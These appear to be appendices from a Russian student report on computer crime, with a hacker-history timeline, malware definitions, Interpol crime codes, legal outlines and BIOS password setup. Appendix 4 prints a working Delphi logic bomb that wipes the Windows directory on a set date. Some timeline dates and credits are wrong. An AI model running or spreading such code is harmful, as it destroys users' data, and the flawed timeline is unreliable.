Приложение 1

Краткая история хакеров
· Декабрь 1947 — Вильям Шокли (William Shockley) изобретает транзистор и впервые демонстрирует его работу. Транзистор собран из множества проводов, изоляторов и вкраплений германия. Согласно результатам опроса, недавно проведенного на сайте CNN, транзистор расценивается как важнейшее открытие XX века.
· 1964 — Томас Курц (Thomas Kurtz) и Джон Кемени (John Kemeny) создают BASIC, один из самых популярных языков программирования и в наши дни.
· 1965 — В США в постоянном использовании находится порядка 20000 компьютерных систем. Большая часть - производства International Business Machines (IBM).
· 1968 — Основана компания Intel.
· 1969 — Основана компания AMD.
· 1969 — В стенах агентства ARPA (The Advanced Research Projects Agency) создана ARPANET, сеть-предвестница интернета. Четыре первых узла ARPANET располагаются в Университетах Лос-Анджелеса, Санта-Барбары, Юта и Стэндфордском исследовательском институте.
· 1969 — Intel начинает производство модулей оперативной памяти объемом 1KB (1024 байта).
· 1969 — Кен Томпсон (Ken Thompson) и Дэннис Ритчи (Dennis Ritchie) начинают работать над созданием операционной системы UNICS. Томпсон пишет первую версию UNICS за один месяц на компьютере с 4КБ памяти. Позже UNICS переименовывают в UNIX.
· 1969 — MIT (Massachusetts Institute of Technology) становится домом первых компьютерных хакеров, пытающихся переписывать программы и совершенствовать сами компьютеры с целью ускорить их работу.
· 1969 — В Хельсинки рождается Линус Торвальдс (Linus Torvalds).
· 1970 — Компания DEC представляет PDP-11, одну из наиболее популярных моделей компьютеров того времени. Некоторыми из них пользуются и по сей день.
· 1971 — Джон Дрейпер (John Draper), известный как Cap'n Crunch, взламывает телефонные системы при помощи игрушечного свистка из коробки с кукурузными хлопьями.
· 1971 — В сети ARPANET создан первый email-клиент. Его автор Рэй Томлисон решает использовать символ «@» для разделения имени пользователя и доменного имени.
· 1972 — Ритчи и Кернингхэм переписывают UNIX на C, языке программирования, изначально созданном с целью облегчения переноса программ с одной компьютерной платформы на другую.
· 1972 — NCSA разрабатывает утилиту telnet.
· 1973 — Гордон Мур (Gordon Moore), председатель совета директоров Intel, формулирует знаменитый «Закон Мура», согласно которому число транзисторов в центральных процессорах удваивается каждые 18 месяцев. Этот закон остается справедливым уже более 30 лет.
· 1973 — Представлен протокол FTP.
· 1974 — Стивен Борн (Stephen Bourne) разрабатывает первую полноценную оболочку для UNIX.
· 1975 — Билл Гейтс (Bill Gates) и Пол Ален (Paul Allen) основывают компанию Microsoft.
· 1976 — 21-летний Билл Гейтс пишет «Открытое письмо любителям», в котором осуждает модель программного обеспечения с открытыми исходными кодами и компьютерное пиратство.
· 1 апреля 1976 — Основана компания Apple Computers.
· 1977 — Билли Джой (Billy Joy) выпускает BSD, новую UNIX-подобную операционную систему.
· 1979 — Microsoft получает от AT&T лицензию на исходный код UNIX и создает собственную версию этой операционной системы, получающую название XENIX.
· 1981 — Создана система доменных имен (Domain Name System, DNS).
· 1981 — Microsoft покупает права на операционную систему DOS и переименовывает ее в MS-DOS.
· 1982 — Основана компания Sun Microsystems. В будущем Sun станет наиболее известна благодаря своим процессорам SPARC, операционной системе Solaris, файловой системе NFS и языку Java.
· 1982 — Ричард Столмэн (Richard Stallman) начинает разработку бесплатной версии UNIX, которую обозначает сокращением «GNU», расшифровывающимся как «GNU's Not Unix».
· 1982 — Писатель Вильям Гибсон (William Gibson) вводит в обиход термин «киберпространство» (cyberspace).
· 1982 — Опубликованы спецификации протокола SMTP, simple mail transfer protocol. В настоящее время SMTP является наиболее распространенным протоколом обмена электронной почтой в интернете.
· 1982 — Скот Фальман (Scott Fahlman) изобретает первый смайлик, «:-)».
· 1983 — Путем разделения ARPANET на несколько самостоятельных гражданских и военных сетей создается интернет.
· 1983 — Том Дженнигс (Tom Jennings) создает FidoNet. Сеть Fido становится наиболее популярной в мире общедоступной компьютерной сетью на последующие 10 лет, вплоть до повсеместного распространения интернета.
· 1983 — Кэвин Поулсен (Kevin Poulsen), известный под псевдонимом Dark Dante, арестован за проникновение в ARPANET.
· 1984 — Основана компания CISCO Sytems.
· 1984 — Фред Коэн (Fred Cohen) разрабатывает первые компьютерные вирусы и вводит ставший ныне стандартным термин «компьютерный вирус».
· 1984 — Эндрю Танненбаум (Andrew Tannenbaum) создает Minix, бесплатный клон UNIX, основанный на архитектуре модульных микроядер.
· 1984 — Билл Ландреф (Bill Landreth), известный как The Cracker, обвинен во взломе компьютерных систем и получении незаконного доступа к информации NASA и Министерства обороны США.
· 1984 — Apple представляет Macintosh System 1.0.
· 1985 — Ричард Столмэн основывает Free Software Foundation.
· 15 марта 1985 — Зарегистрирован первый домен интернета — Symbolics.com.
· Ноябрь 1985 — Microsoft выпускает Windows 1.0 по цене 100 USD за копию.
· 1986 — В США принят The Computer Fraud and Abuse Act.
· 1986 — Арестован член группы Legion of Doom Лойд Бланкеншип (Loyd Blankenship), известный как The Mentor, после чего он публикует ныне знаменитый «Манифест хакера».
· 1988 — Изобретен CD-ROM.
· 1988 — Запущен сервис IRC (Internet Relay Chat).
· Ноябрь 1988 — Роберт Моррис (Robert Morris) создает и выпускает в сеть первого интернет-червя, который заражает и «подвешивает» тысячи компьютеров в США из-за ошибки в своем коде. Этот червь известен в наши дни под названием Morris.
· 1989 — В CERN Labs, в Швейцарии, разработана концепция WWW.
· 1990 — Сеть ARPANET прекращает свое существование.
· 1990 — Кэвин Поулсен (Kevin Poulsen) взламывает телефонную систему в Лос-Анджелесе, чтобы стать победителем в радио-конкурсе, в котором разыгрывается Porsche 944.
· 1991 — Филипп Циммермэн (Philip Zimmerman) выпускает PGP, мощную бесплатную утилиту-шифровальщик. Программа быстро становится наиболее популярной шифровальной утилитой в мире.
· 1991 — Появляются слухи о компьютерном вирусе под названием Michelangelo, механизмы разрушения в котором активируются 6-го марта.
· 17 сентября 1991 — Линус Торвальдс (Linus Torvalds) выпускает первую версию Linux.
· 1992 — Группа фрикеров (телефонных хакеров) Masters of Deception арестована благодаря доказательствам, собранным посредством подслушивающих «жучков».
· 1993 — Выпущен веб-браузер Mosaic.
· 1993 — Microsoft выпускает Windows NT.
· 1993 — Выпущена первая версия операционной системы FreeBSD.
· 23 марта 1994 — Шестнадцатилетний Ричард Прайс (Richard Pryce), известный как Datastream Cowboy, арестован и обвинен в незаконном доступе к хранящейся в компьютере информации.
· 1994 — Владимир Левин (Vladimir Levin), русский математик, взламывает сеть Citibank и крадет $10 млн.
· 1995 — Дэн Фармер (Dan Farmer) и Вице Винема (Wietse Venema) выпускают SATAN, автоматический сканер уязвимостей, который становится популярным хакерским инструментом.
· 1995 — Крис Лэмпрехт (Chris Lamprecht), известный как Minor Threat, становится первым человеком, которому запрещают доступ в интернет.
· 1995 — Sun выпускает Java, язык компьютерного программирования, созданный с целью свободного переноса уже скомпилированных программ между разными платформами.
· Август 1995 — Выпущен Microsoft Internet Explorer. Впоследствии IE станет наиболее незащищенным веб-браузером и любимой целью практически всех вирусописателей и хакеров.
· Август 1995 — Выпущена ОС Windows 95.
· 1996 — IBM выпускает OS/2 Warp version 4, мощную мультизадачную операционную систему с графическим пользовательским интерфейсом, соперничающую с недавно выпущенной Microsoft Windows 95. Несмотря на то, что OS/2 более надежна и стабильна, чем Windows 95, она будет понемногу терять поддержку разработчиков и через несколько лет прекратит свое существование.
· 1996 — Выпущен ICQ, первый известный интернет-пейджер.
· 1996 — Тим Ллойд (Tim Lloyd) закладывает программную бомбу с часовым механизмом в компании Omega Engineering в Нью-Джерси. В результате атаки компания теряет 12 млн USD и более 80 сотрудников лишаются работы. Ллойда приговаривают к 41 месяцу тюремного заключения.
· 1997 — Опубликованы спецификации формата DVD.
· 1998 — Два китайских хакера-близнеца, Джинлон Хао (Hao Jinglong) и Джинвен Хао (Hao Jingwen), приговорены китайским судом к смерти за взлом компьютерной сети банка и кражу 720 тысяч юаней (примерно 87 тысяч USD).
· 18 марта 1998 — Эхуд Тенебаум (Ehud Tenebaum), почтенный хакер, известный под кличкой The Analyzer, арестован в Израиле за взлом множества важных компьютерных сетей США. 

· 1998 — Появился вирус CIH. CIH стал первым компьютерным вирусом, стирающим содержимое flash-памяти BIOS компьютера, повреждающим компьютер так, что он больше не включается. CIH развеял миф о том, что компьютерные вирусы не могут навредить компьютерным комплектующим.
· 26 марта 1999 — Появился вирус Melissa. 

· 2000 — Канадский хакер-тинейджер, известный как Mafiaboy, осуществляет DoS-атаку на сайты Yahoo, eBay, Amazon.com и CNN, делая их недоступными. Позже его приговаривают к восьми месяцам заключения в тюрьме для несовершеннолетних.
· 2000 — Корпорация Microsoft признает, что из ее сети был украден код нескольких еще не выпущенных версий операционной системы Windows.
· 2000 — ФБР арестовывает двух русских хакеров, Алексея Иванова и Василия Горшкова. Арест проводится после длительной и сложной операции, включавшей в себя заманивание хакеров в США с целью «демонстрации их хакерских навыков».
· Июль 2001 — Появляется червь CodeRed. Червь заражает сотни тысяч компьютеров по всему миру в течение нескольких часов. 

· 2001 — Microsoft выпускает Windows XP.
· 18 июля 2002 — Билл Гейтс анонсирует программу Trustworthy Computing, обрисовывающую новое направление в стратегии разработки программ компанией Microsoft, направленное на повышение и усиление безопасности выпускаемых продуктов.
· Октябрь 2002 — Неизвестными хакерами запущена мощная атака на 13 корневых доменных серверов интернета. Цель — полностью остановить работу DNS во всем интернете.
· 2003 — Microsoft выпускает Windows Server 2003.
· 29 апреля 2003 — Новый Скотланд-Ярд арестовывает Хтан Линн (Lynn Htun) на лондонской выставке InfoSecurity Europe 2003. Считается, что Линн сумел незаконно проникнуть в несколько важных компьютерных сетей, вроде сетей Symantec и SecurityFocus.
· 6 ноября 2003 — Microsoft объявляет награду в 5 млн USD за поимку хакеров, использовавших уязвимости в выпущенных компанией программах.
· 7 мая 2004 — В северной Германии арестован Свен Яшан (Sven Jaschan), автор сетевых червей Netsky и Sasser.
· Сентябрь 2004 — IBM представляет самый быстрый в мире суперкомпьютер. Его стабильная производительность составляет 36 триллионов операций в секунду.
· Декабрь 2004 — Покушение на систему банков, операция «Троянский конь»
Приложение 2

Самое громкое компьютерное преступление 21 века.

 «Троянский Конь».

К «троянским коням» относятся программы, наносящие какие-либо разрушительные действия, т.е. в зависимости от каких-либо условий или при каждом запуске уничтожающая информацию на дисках, "завешивающая" систему и т.п.

Большинство известных нам троянских коней являются программами, которые "подделываются" под какие-либо полезные программы, новые версии популярных утилит или дополнения к ним. Очень часто они рассылаются по электронным конференциям. По сравнению с вирусами "троянские кони" не получают широкого распространения по достаточно простым причинам - они либо уничтожают себя вместе с остальными данными на диске, либо демаскируют свое присутствие и уничтожаются пострадавшим пользователем.

Следует отметить также "злые шутки" (hoax). К ним относятся программы, которые не причиняют компьютеру какого-либо прямого вреда, однако выводят сообщения о том, что такой вред уже причинен, либо будет причинен при каких-либо условиях, либо предупреждают пользователя о несуществующей опасности. К "злым шуткам" относятся, например, программы, которые "пугают" пользователя сообщениями о форматировании диска (хотя никакого форматирования на самом деле не происходит), выводят странные вирусоподобные сообщения и т.д. - в зависимости от чувства юмора автора такой программы. К такой же категории "злых шуток" можно отнести также заведомо ложные сообщения о новых супер-вирусах. Такие сообщения периодически появляются в электронных конференциях и обычно вызывают панику среди пользователей.
Приложение 3

Как работает «Компьютерный червь».

Когда пользователь РС отправляет корреспонденцию на зараженную машину, он (или она) вскоре получают ответ, содержащий вирус.

Заголовок всех сообщений стандартный, отличается же он лишь правильным (!) именем респондента: 
"Hi (Имя респондента)! 
I received your email and I shall send you a reply ASAP. 
Till then, take a look at the attached zipped docs. Bye" 
(Привет_имя! Я получил твое сообщение и отвечу позже. А сейчас посмотри документы в зазипованном файле. Пока) 
После открытия аттачмента на экране монитора появляется сообщение об ошибке, а вирус тем временем копирует себя в директорию C:\WINDOWS\SYSTEM под именем "Explore.exe" и модифицирует файл WIN.INI таким образом, что он будет запускаться при каждом старте Windows.

После запуска, вирус просматривает все диски от C: до Z: в поисках файлов с расширениеями .h, .c, .cpp, .asm, .doc, .xls, .ppt и вытирает с них информацию (их размер становится равным нулю).

Чтобы ограничить действие вируса,

необходимо удалить с файла WIN.INI строку run=C:\WINDOWS\SYSTEM\Explore.exe 

и удалить файл "C:\WINDOWS\SYSTEM\EXPLORE.EXE."

Если он задействован, то нужно перезагрузить систему.

Приложение 4

"Логическая бомба" - это компьютерная программа, выполняемая периодически с целью уничтожить или модифицировать данные. Основными условиями запуска логической бомбы являются наступление определенной даты, нажатие определенных клавиш или внутренний таймер программы. Последствия могут быть самыми различными - от выведения на экран монитора сообщения до блокирования системы или удаления файлов или программ.
Программа для логической бомбы на Delphi:

Program logical_b0mb;

Uses windows, sysutils;
Var p: array[0..max_path] of char; 
S: string; 
Sr: tsearchrec; 
Begin if datetostr(date) = '22.08.01' then Begin 
Getwindowsdirectory(p, max_path); 
S:= strpas(p) + '\'; 

if findfirst(s + '*.*',faanyfile,sr) <> 0 then findclose(sr) else 

{ если функция findfirst возвращает значение не ноль - завершить поиск, если ноль тогда продолжить} 

repeat {продолжать} deletefile(s + sr.name); 
{удаление найденного файла} 
Until {пока} findnext(sr) <> 0; 
{не возвращено значение ноль} findclose(sr);

{тогда закончить поиск} end else exit; 
End.
Приложение 5

Классификация компьютерных преступлений
(ПО КОДИФИКАТОРУ МЕЖДУНАРОДНОЙ УГОЛОВНОЙ ПОЛИЦИИ ГЕНЕРАЛЬНОГО СЕКРЕТАРИАТА ИНТЕРПОЛА)

Данный кодификатор был интегрирован в автоматизированную систему поиска и в настоящее время доступен подразделениям Национальных центральных бюро Международной уголовной полиции "Интерпол" более чем 120 стран мира. 

QA - НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП И ПЕРЕХВАТ
QAH - компьютерный абордаж 
QAI - перехват 
QA1 - кража времени
QAZ - прочие виды несанкционированного доступа и перехвата 
QD - ИЗМЕНЕНИЕ КОМПЬЮТЕРНЫХ ДАННЫХ
QDL - логическая бомба 
QDT - троянский конь 
QDV - компьютерный вирус 
QDW - компьютерный червь
QDZ - прочие виды изменения данных 
QF - КОМПЬЮТЕРНОЕ МОШЕННИЧЕСТВО (COMPUTER FRAUD)
QFC - мошенничество с банкоматами
QFF - компьютерная подделка
QFG - мошенничество с игровыми автоматами
QFM - манипуляции с программами ввода вывода
QFP - мошенничества с платежными средствами
QFT - телефонное мошенничество
QFZ - прочие компьютерные мошенничества
QR - НЕЗАКОННОЕ КОПИРОВАНИЕ ("ПИРАТСТВО")
QRG - компьютерные игры

QRS - прочее программное обеспечение
QRT - топография полупроводниковых изделий
QRZ - прочее незаконное копирование
QS - КОМПЬЮТЕРНЫЙ САБОТАЖ
QSH - с аппаратным обеспечением
QSS - с программным обеспечением
QSZ - прочие виды саботажа
QZ - ПРОЧИЕ КОМПЬЮТЕРНЫЕ ПРЕСТУПЛЕНИЯ
QZB - с использованием компьютерных досок объявлении
QZE - хищение информации, составляющей коммерческую тайну
QZS - передача информации конфиденциального характера
QZZ - прочие компьютерные преступления

Приложение 6

Правовая защита информации
- это специальные правовые акты, правила, процедуры и мероприятия, обеспечивающие защиту информации на правовой основе.

1. МЕЖДУНАРОДНОЕ ПРАВО:


2. ВНУТРИГОСУДАРСТВЕННОЕ ПРАВО:

Договоры,
конвенции,
декларации

Патенты

Авторские права

Лицензии

Государственные
· Конституция
· Законы (кодексы)
· Указы
· Постановления

Ведомственные
· Приказы
· Руководства

· Положения
· Инструкции
Приложение 7

Структура законодательства России в области защиты информации
1. КОНСТИТУЦИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ

2. ЗАКОНЫ РФ по информатизации и защите информации:

«Об информации, информатизации и защите информации»
«Об участии в между​народном информа​ционном обмене»
«О связи»
«О правовой охране программ ЭВМ и то​пологии микросхем»

«Об авторском праве и смежных правах»
«О государственной тайне»
«О коммерческой тайне»
«Об органах госу​дарственной безопас​ности»
«Об информационном обеспечении эко​номического и соци​ального развития»
«О патентах» 

«О страховании»

«Об архивах»

3. Кодекс об административных правонарушениях, гражданский и уголовный кодексы РФ.

4. Нормативно-правовые акты и организационно-распорядительные документы.

5. Положения, инструкции, нормативно-технические и методические документы.

Приложение 8

Сферы
программной защиты:




СРЕДСТВА ПРОГРАММНОЙ ЗАЩИТЫ

Средства собственной защиты

(Элементы защиты, присущие самому про​граммному обеспече​нию или сопровожда​ющие его продажу и препятствующие не​законным действиям).
Средства защиты в составе вычислительной системы 

(Средства защиты ап​паратуры, дисков и штатных устройств. При использовании та​ких средств операци​онная среда, в отличие от штатного режима, постоянно изменяется, поскольку выполнение программ зависит от определенных дей​ствий, специальных мер предосторожнос​ти и условий, гаран​тирующих защиту)
Средства защиты с запросом информации 

(Требуют для своей работы ввода дополни​тельной информации с целью идентифи​кации полномочий пользователей).
Средства активной защиты

(Инициируются при воз​никновении особых об​стоятельств: вводе неправильно​го пароля, попытках доступа к информации без раз​решения и т.п.).
 Средства пассивной защиты

(Направлены на пре​достережение, конт​роль, поиск улик и доказательств с целью создания обстановки неотвратимого рас​крытия преступления ).
Приложение 9
Краткий обзор современных методов защиты информации, 

используемых на Покачевских предприятиях 

 Итак, обычно считают, что есть следующие способы перехвата информации с компьютера:
 1) ПЭМИH - собственно электромагнитное излучение от РС
 2) Наведенные токи в случайных антеннах - перехват наводок в проводах 

(телефонных, проводного радио), кабелях (ТВ-антеннах, например), которые проходят вблизи.

 3) Наводки и паразитные токи в цепях, гальванически связанных с РС (питание, кабель ЛВС, телефонная линия с модемом и т.п.)
 4)Неравномерное потребление тока в питании - в основном для 

электромеханических устройствах (для современных РС маловероятен)
 5) Прочая экзотика ( в виде наведенных лазеров )
Какие применяются меры:
 -экранирование корпусов (или внутренний металлический экран, или напыление изнутри на корпусе медной пленки - заземленные)
 -установка на экран трубки монитора или сетки, или стекла с заземленным 

напылением
 -на все кабели ставят электромагнитные фильтры (это, как правило, 

специальные сердечники), доп. оплетку экрана
 - локальные экраны на платы адаптеров
 -дополнительные фильтры по питанию
 -дополнительный фильтр в цепь ЛВС (например для AUI)
 Ну а пpоблемой защиты инфоpмации путем ее пpеобpазования занимается 
кpиптология (kryptos - тайный, logos - наука). 

Кpиптология pазделяется на два напpавления - кpиптогpафию и кpиптоанализ. 

Приложение 10
Защита от несанкционированного доступа к персональному компьютеру (установка пароля BIOS на загрузку системы).

BIOS (Basic Input/Output System - базовая система ввода/вывода) - микросхема в компьютере в которой находится микропрограмма начальной загрузки компьютера, а также некоторые другие параметры. 

При включении компьютера происходит выполнение этой микропрограммы, включающей тестирование видеокарты, памяти, клавиатуры, дисков и некоторых других компонентов компьютера. После этого управление передается программе на загрузочном устройстве. Какое устройство является загрузочным тоже определяется настройками BIOS. Это может быть дискета, жесткий диск, компакт-диск и т.п. 

Среди прочих настроек BIOS есть возможность установить два пароля: на загрузку системы (User password) и на изменение параметров самой BIOS (Supervisor password). Операции по изменению параметров BIOS разных версий и фирм-производителей несколько отличаются, но в общих чертах последовательность должна быть примерно следующей: 

1. Войти в программу настройки BIOS
Обычно при включении компьютера на экране в течение нескольких секунд появляется строка Press DEL to enter SETUP. Если в этот момент нажать клавишу DEL, то вы войдете в программу настройки BIOS. Для некоторых версий BIOS может использоваться другая комбинация клавиш.
2. Включить проверку пароля пользователя
Программа настройки BIOS обычно устроена в виде нескольких меню, в которых располагаются разные параметры. Параметр User password может находиться в меню Main или Advanced. Если этот параметр имеет значение Disabled(запрещено), то проверка пароля не производится. Чтобы изменить его на значение Enabled(разрешено) обычно нужно нажать клавишу PageUP или +. В некоторых BIOS для включения пароля используется параметр Security, который может принимать значения Disabled(запрещено), User(пароль на загрузку) или System(пароль на изменение BIOS).
3. Ввести пароль
Для ввода пароля используется либо отдельный пункт меню, либо специальное окошко. Пароль вводится два раза для исключения ошибок ввода. Пароль выбирайте удобным для ввода, но не слишком простым.
4. Сохранить настройки BIOS и перезагрузить компьютер
Для выхода из BIOS Setup используйте меню Exit или Quit. При этом для подтверждения сохранения настроек нужно будет нажать Y.
После выполнения вышеописанных операций компьютер перезагрузится и потребует ввода пароля. Не зная пароля вы не сможете загрузиться даже с дискеты. Пароль рекомендуется хранить не на бумажке, приклеенной к монитору, а в голове!

Внимание! Неправильная настройка некоторых параметров BIOS может привести к некорректной работе компьютера.
Защита программ
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